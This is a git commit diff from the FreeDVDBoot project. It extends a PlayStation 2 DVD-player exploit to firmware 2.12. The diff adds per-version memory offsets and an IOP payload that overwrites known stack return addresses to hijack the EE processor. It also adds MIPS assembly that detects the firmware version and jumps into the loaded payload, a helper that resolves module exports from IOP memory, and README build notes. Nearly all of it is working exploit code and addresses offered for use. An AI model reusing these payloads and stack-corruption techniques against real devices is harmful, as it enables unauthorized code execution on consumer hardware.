This commit is contained in:
CTurt 2020-08-11 23:48:10 +01:00
parent 4a13fcfd3c
commit 6d4efb401b
8 changed files with 300 additions and 46 deletions

View file

@ -9,7 +9,9 @@ IOP_AS = iop-as
IOP_OBJCOPY = iop-objcopy
IOP_OBJDUMP = iop-objdump
IOP_SYMBOLS = -DREAD_SECTORS=$(IOP_READ_SECTORS) -DORIGINAL_RETURN_ADDRESS=$(IOP_ORIGINAL_RETURN_ADDRESS) -DRETURN_ADDRESS_LOCATION=$(IOP_RETURN_ADDRESS_LOCATION)
IOP_SYMBOLS = -DREAD_SECTORS_210=$(IOP_READ_SECTORS_210) -DORIGINAL_RETURN_ADDRESS_210=$(IOP_ORIGINAL_RETURN_ADDRESS_210) -DRETURN_ADDRESS_LOCATION_210=$(IOP_RETURN_ADDRESS_LOCATION_210) \
-DREAD_SECTORS_212=$(IOP_READ_SECTORS_212) -DORIGINAL_RETURN_ADDRESS_212=$(IOP_ORIGINAL_RETURN_ADDRESS_212) -DRETURN_ADDRESS_LOCATION_212=$(IOP_RETURN_ADDRESS_LOCATION_212)
IOP_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -g $(IOP_SYMBOLS)
EE_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1

View file

@ -1,9 +1,12 @@
STAGE1_LOAD_ADDRESS = 0xa00b7548
STAGE1_LOAD_ADDRESS_STRING = '\x48\x75\x0b\xa0'
IOP_READ_SECTORS = 0xb260c
IOP_ORIGINAL_RETURN_ADDRESS = 0xb3630
IOP_RETURN_ADDRESS_LOCATION = 0x1f62ac
IOP_READ_SECTORS_210 = 0xb260c
IOP_READ_SECTORS_212 = 0xb25f8
IOP_ORIGINAL_RETURN_ADDRESS_210 = 0xb3630
IOP_ORIGINAL_RETURN_ADDRESS_212 = 0xB35D8
IOP_RETURN_ADDRESS_LOCATION_210 = 0x1f62ac
IOP_RETURN_ADDRESS_LOCATION_212 = 0x1f62b4
#IOP_PAYLOAD_ENTRY = `$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"`

View file

@ -5,6 +5,13 @@ IOP_READ_SECTORS = 0x5DD0C # 0xb260c + 0x5c700 - 0xb1000
IOP_ORIGINAL_RETURN_ADDRESS = 0x5ED30 # 0xb3630 + 0x5c700 - 0xb1000
IOP_RETURN_ADDRESS_LOCATION = 0x1F30AC # 0x1f62ac + 0x1F3058 - 0x1f6258
IOP_READ_SECTORS_210 = 0x5DD0C # 0xb260c + 0x5c700 - 0xb1000
IOP_READ_SECTORS_212 = 0x5DCF8 # 0xb25f8 + 0x5c700 - 0xb1000
IOP_ORIGINAL_RETURN_ADDRESS_210 = 0x5ED30 # 0xb3630 + 0x5c700 - 0xb1000
IOP_ORIGINAL_RETURN_ADDRESS_212 = 0x5ECD8 # 0xB35D8 + 0x5c700 - 0xb1000
IOP_RETURN_ADDRESS_LOCATION_210 = 0x1F30AC # 0x1f62ac + 0x1F3058 - 0x1f6258
IOP_RETURN_ADDRESS_LOCATION_212 = 0x1F30B4 # 0x1f62b4 + 0x1F3058 - 0x1f6258
#IOP_PAYLOAD_ENTRY = `$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"`
IOP_PAYLOAD_ENTRY = 0xa00fd178 # Set this manually for now.

View file

@ -53,25 +53,25 @@ typedef struct {
#define min(a, b) (((a) < (b)) ? (a) : (b))
/* All of these could be reimplemented here, but I'm lazy so we will use whatever
* the IOP has already loaded. The addresses are hardcoded but should be easy
* enough to extract from IOP memory by looking for their module names and magic
* number 0x41C00000.
*/
int (*readSectors)(int count, int sector, void *destination);
int (*readSectors)(int count, int sector, void *destination) = (void *)READ_SECTORS;
//int (*sceSifSetDma)(struct SifDmaTransfer *, int num) = (void *)0x16fc8;
//int (*sceSifDmaStat)(int trid) = (void *)0x17170;
//void (*flushIcache)(void) = (void*)0x2f40;
//void (*flushDcache)(void) = (void*)0x3044;
//void (*printf)(char *, ...) = (void *)0x1ab84; // 2.10
//void (*printf)(char *, ...) = (void *)0x155f8; // 2.12
int (*sceSifSetDma)(struct SifDmaTransfer *, int num) = (void *)0x16fc8;
int (*sceSifDmaStat)(int trid) = (void *)0x17170;
void (*flushIcache)(void) = (void*)0x2f40;
void (*flushDcache)(void) = (void*)0x3044;
void (*printf)(char *, ...) = (void *)0x1ab84;
int (*sceSifSetDma)(struct SifDmaTransfer *, int num);
int (*sceSifDmaStat)(int trid);
static void transfer_to_ee(void *dest, void *src, unsigned int size);
static void *memcpy(void *dest, void *src, unsigned int n);
static void *memset(void *s, int c, unsigned int n);
static void memset_ee(void *s, int c, unsigned int n);
//#include "iopresolve.h"
static void readData(void *dest, unsigned int offset, size_t n) {
//unsigned char buffer[SECTOR_SIZE];
//unsigned char *buffer = (void *)0xfd000;
@ -110,17 +110,29 @@ static void readDataUnsafe(void *dest, unsigned int offset, size_t n) {
void _start(void) {
extern unsigned char ee_crt0[];
extern unsigned int ee_crt0_size;
void *return_address = EE_CRT0_ADDRESS;
int one = 1;
void *return_address[4] __attribute__ ((aligned (16))) = { EE_CRT0_ADDRESS, 0, 0, 0 };
int one __attribute__ ((aligned (16))) = 1;
int i;
//sceSifSetDma = resolve("sifman", 7);
//sceSifDmaStat = resolve("sifman", 8);
sceSifSetDma = (void *)0x16fc8;
sceSifDmaStat = (void *)0x17170;
if(*(unsigned int *)READ_SECTORS_210 == 0x27bdffc8) // addiu $sp, $sp, -0x38
readSectors = (void *)READ_SECTORS_210;
else readSectors = (void *)READ_SECTORS_212;
transfer_to_ee(EE_CRT0_ADDRESS, ee_crt0, ee_crt0_size);
/* Corrupt all known return addresses in the stack.
*/
transfer_to_ee((void *)0x14A5FF0, &return_address, sizeof(return_address)); /* 2.10E/A */
transfer_to_ee((void *)0x10007F0, &return_address, sizeof(return_address)); /* 2.10J */
transfer_to_ee((void *)0x12D1C70, &return_address, sizeof(return_address)); /* 2.10U */
// Corrupt all known return addresses in the stack, there might be a more universal way for IOP to redirect EE...
transfer_to_ee((void *)0x14A5FF0, &return_address, sizeof(return_address)); // 2.10E/A
transfer_to_ee((void *)0x10007F0, &return_address, sizeof(return_address)); // 2.10J
transfer_to_ee((void *)0x12D1C70, &return_address, sizeof(return_address)); // 2.10U
transfer_to_ee((void *)0x12B8CF0, &return_address, sizeof(return_address)); // 2.12U
// Clear bit 0 of 0x208bb710 to make EE exit loop waiting for IOP, and return to our above payload
@ -185,17 +197,11 @@ void _start(void) {
copied += k;
remaining -= k;
}
//unsigned char x[] = { 0x08, 0x00, 0xE0, 0x03, 0x01, 0x00, 0x42, 0x30, 0x01 };
//memcpy(buffer, &x, sizeof(x));
//memset(buffer + sizeof(x), 0, sizeofbuffer - sizeof(x));
//transfer_to_ee(eph[i].vaddr + (eph[i].filesz & ~(0x10 - 1)), buffer, (remaining + 0xf) & ~(0x10 - 1));
}
transfer_to_ee(EE_ENTRYPOINT_ADDRESS, &eh.entry, sizeof(one));
/* Signal EE that the ELF is loaded and ready to execute.
*/
// Signal EE that the ELF is loaded and ready to execute.
transfer_to_ee(EE_WAIT_ADDRESS, &one, sizeof(one));
//int loopValueJ = 0;

View file

@ -0,0 +1,220 @@
//typedef unsigned char u8;
//typedef unsigned short u16;
//typedef unsigned int u32;
typedef void *pointer;
#define NULL 0
typedef struct _smod_mod_info {
//struct _smod_mod_info *next;
pointer next;
/** A pointer to the name in IOP RAM, this must be smem_read(). */
//char *name;
pointer name;
u16 version;
/** For MODLOAD shipped with games. The old MODLOAD module from boot ROMs do not use a flags field. */
u16 newflags;
u16 id;
u16 unused;
/** _start */
u32 entry;
u32 gp;
u32 text_start;
u32 text_size;
u32 data_size;
u32 bss_size;
u32 unused1;
u32 unused2;
} smod_mod_info_t;
typedef struct _slib_imp_list {
u8 magic;
//struct _slib_imp_list *next;
pointer next;
u16 version;
u16 flags;
u8 name[8];
//void *imports[0];
pointer imports[0];
} slib_imp_list_t;
typedef struct _slib_exp_lib {
//struct _slib_exp_lib *prev;
pointer prev;
//struct _slib_imp_list *caller;
pointer caller;
u16 version;
u16 flags;
u8 name[8];
//void *exports[0];
pointer exports[0];
} slib_exp_lib_t;
typedef struct _slib_exp_lib_list {
//struct _slib_exp_lib *tail;
pointer tail;
//struct _slib_exp_lib *head;
pointer head;
} slib_exp_lib_list_t;
#define SMEM_BUF_SIZE 0x300 //Must be large enough to accommodate all operations.
struct smem_buf {
union {
u8 bytes[SMEM_BUF_SIZE / sizeof(u8)];
u32 words[SMEM_BUF_SIZE / sizeof(u32)];
smod_mod_info_t mod_info;
slib_exp_lib_t exp_lib;
};
};
size_t strlen(const char *str) {
const char *s;
for (s = str; *s; ++s);
return (s - str);
}
int memcmp(const char *cs_in, const char *ct_in, size_t n) {
size_t i;
const unsigned char * cs = (const unsigned char*) cs_in;
const unsigned char * ct = (const unsigned char*) ct_in;
for (i = 0; i < n; i++, cs++, ct++)
{
if (*cs < *ct)
{
return -1;
}
else if (*cs > *ct)
{
return 1;
}
}
return 0;
}
slib_exp_lib_list_t _slib_cur_exp_lib_list;
struct smem_buf smem_buf;
typedef unsigned int SifRpcReceiveData_t;
size_t SifRpcGetOtherData(void *a, pointer x, void *dest, size_t s, int z) {
memcpy(dest, x, s);
return s;
}
slib_exp_lib_list_t *slib_exp_lib_list(void) {
SifRpcReceiveData_t RData;
slib_exp_lib_t *core_exps;
slib_exp_lib_list_t *exp_lib_list = NULL;
u32 i, addr, core_end, NextMod, *exp_func;
void *pGetLoadcoreInternalData;
smod_mod_info_t *ModInfo;
/* Read the start of the global module table - this is where we will search. */
if(SifRpcGetOtherData(&RData, (void*)0x800, &smem_buf, sizeof(smod_mod_info_t), 0)>=0){
/* The first entry points to LOADCORE's module info. We then use the
module info to determine the end of LOADCORE's .text segment (just
past the export library we're trying to find. */
NextMod = *smem_buf.words;
if(SifRpcGetOtherData(&RData, (void*)NextMod, &smem_buf, sizeof(smod_mod_info_t), 0)>=0){
ModInfo = &smem_buf.mod_info;
core_end = ModInfo->text_start+ModInfo->text_size;
/* Back up so we position ourselves infront of where the export
library will be. */
if(SifRpcGetOtherData(&RData, (void*)(core_end - 512), &smem_buf, 512, 0)>=0){
/* Search for LOADCORE's export library. */
for (i = 0; i < 512; i += 4) {
/* SYSMEM's export library sits at 0x830, so it should appear in
LOADCORE's prev pointer. */
if (smem_buf.words[i / sizeof(u32)] == 0x830) {
if (!memcmp(smem_buf.bytes + i + 12, "loadcore", 8))
//if(*(unsigned int *)(smem_buf.bytes + i + 12) == 0x64616f6c) // 6c 6f 61 64 == load
break;
}
}
if (i >= 512)
return NULL;
/* Get to the start of the export table, and find the address of the
routine that will get us the export library list info. */
core_exps = (slib_exp_lib_t *)(smem_buf.bytes + i);
pGetLoadcoreInternalData = core_exps->exports[3];
if(SifRpcGetOtherData(&RData, pGetLoadcoreInternalData, &smem_buf, 8, 0)>=0){
exp_func = smem_buf.words;
/* Parse the two instructions that hold the address of the table. */
if ((exp_func[0] & 0xffff0000) != 0x3c020000) /* lui v0, XXXX */
return NULL;
if ((exp_func[1] & 0xffff0000) != 0x24420000) /* addiu v0, v0, XXXX */
return NULL;
addr = ((exp_func[0] & 0xffff) << 16) | (exp_func[1] & 0xffff);
if(SifRpcGetOtherData(&RData, (void*)addr, &smem_buf, 8, 0)>=0){
_slib_cur_exp_lib_list.tail = (slib_exp_lib_t *)(smem_buf.words[0]);
_slib_cur_exp_lib_list.head = (slib_exp_lib_t *)(smem_buf.words[1]);
exp_lib_list = &_slib_cur_exp_lib_list;
}
}
}
}
}
return exp_lib_list;
}
#define EXP_LIB_MAX SMEM_BUF_SIZE /* We can even handle CDVDMAN's bloat! */
int slib_get_exp_lib(const char *name, slib_exp_lib_t *library)
{
SifRpcReceiveData_t RData;
slib_exp_lib_list_t *exp_lib_list = &_slib_cur_exp_lib_list;
slib_exp_lib_t *exp_lib = &smem_buf.exp_lib;
void *cur_lib;
int len = strlen(name), count = 0;
if (!exp_lib_list->head && !(exp_lib_list = slib_exp_lib_list()))
return 0;
/* Read the tail export library to initiate the search. */
cur_lib = exp_lib_list->tail;
while (cur_lib) {
if(SifRpcGetOtherData(&RData, cur_lib, exp_lib, EXP_LIB_MAX, 0)>=0){
if (!memcmp(exp_lib->name, name, len)) {
while (exp_lib->exports[count] != 0)
count++;
if (library)
memcpy(library, exp_lib, sizeof(slib_exp_lib_t) + count * 4);
return count;
}
cur_lib = exp_lib->prev;
}
}
return 0;
}
void *resolve(char *name, int export) {
slib_exp_lib_t *modload_lib = (void *)0x100;
memset(&_slib_cur_exp_lib_list, 0, sizeof(slib_exp_lib_list_t));
if (!slib_get_exp_lib(name, modload_lib)) {
return NULL;
}
return modload_lib->exports[export];
}

View file

@ -1,14 +1,10 @@
# ElReino & CTurt 2020
readSectors = READ_SECTORS
flushIcache = 0x00002f40
flushDcache = 0x0003044
#flushDcacheWrapper = 0x0057f1c
#iop_payload_address = 0x460000
#iop_payload_address = 0xa0460000
iop_payload_address = 0xa00fd000
.section .text
@ -17,10 +13,20 @@ iop_payload_address = 0xa00fd000
_start:
move $fp, $sp # We need to reset $fp as it gets trashed by memcpy
check_210:
la $v1, 0x27bdffc8 # addiu $sp, $sp, -0x38
la $v0, READ_SECTORS_210
lw $t0, 0($v0)
beq $t0, $v1, read_iop_payload
check_212:
la $v0, READ_SECTORS_212
read_iop_payload:
la $a0, (IOP_PAYLOAD_SIZE / 0x800) + 1 # count
la $a1, 0x700000 / 0x800 # sector
la $a2, iop_payload_address # destination
jal readSectors
jal $v0
#jal flushIcache
#jal flushDcache
@ -29,12 +35,20 @@ _start:
la $v0, ENTRY
jalr $v0
check_210_again:
la $v1, 0x27bdffc8 # addiu $sp, $sp, -0x38
la $v0, READ_SECTORS_210
lw $v0, 0($v0)
la $a0, RETURN_ADDRESS_LOCATION_210
la $ra, ORIGINAL_RETURN_ADDRESS_210
beq $v0, $v1, return
check_212_again:
la $a0, RETURN_ADDRESS_LOCATION_212
la $ra, ORIGINAL_RETURN_ADDRESS_212
return:
# Return gracefully back to original return address
la $a0, RETURN_ADDRESS_LOCATION
la $ra, ORIGINAL_RETURN_ADDRESS # hardware
sw $ra, 0($a0)
la $v0, 0
jr $ra

View file

@ -68,7 +68,9 @@ Boot your PlayStation 2 without any disc inserted, and press Triangle to identif
**Currently only support:**
- 2.10 (all regions and languages),
- 2.10 (certain models only?),
- 2.12 (region U, others to be added soon),
- 3.04 (tested only region M in emulator so far, but guess most other regions EUMACDG, except for J will work - with English language set in settings),
@ -140,13 +142,13 @@ If you wish to update the loader payload, run `build.sh` inside `PAYLOAD` direct
## DEVELOPMENT: Replacing the loader payload - Phat
Run the following to build a new `dvd.iso`:
`make -f 2.10.mk`
`make -f hardware.mk`
If you want to test on PCSX2 using KrHacken's repacked DVD players, it loads `udfio` at a different base address, use the repacked makefile to build an image for testing on the emulator:
If you want to test on PCSX2 using KrHacken's repacked DVD players, it loads `udfio` at a different base address, use the repacked Makefile to build an image for testing on the emulator:
`make -f 2.10_repacked.mk`
`make -f emulator.mk`
`clean` before switching between these, or use `-B` flag.
`clean` before switching between these different Makefiles, or use `-B` flag.
## PORTING:
Please read my technical writeup, to understand how the exploit works. I've also provided some [notes about porting](https://cturt.github.io/FreeDVDBoot/portingnotes.html) in the [`gh-pages`](https://github.com/CTurt/FreeDVDBoot/tree/gh-pages) branch.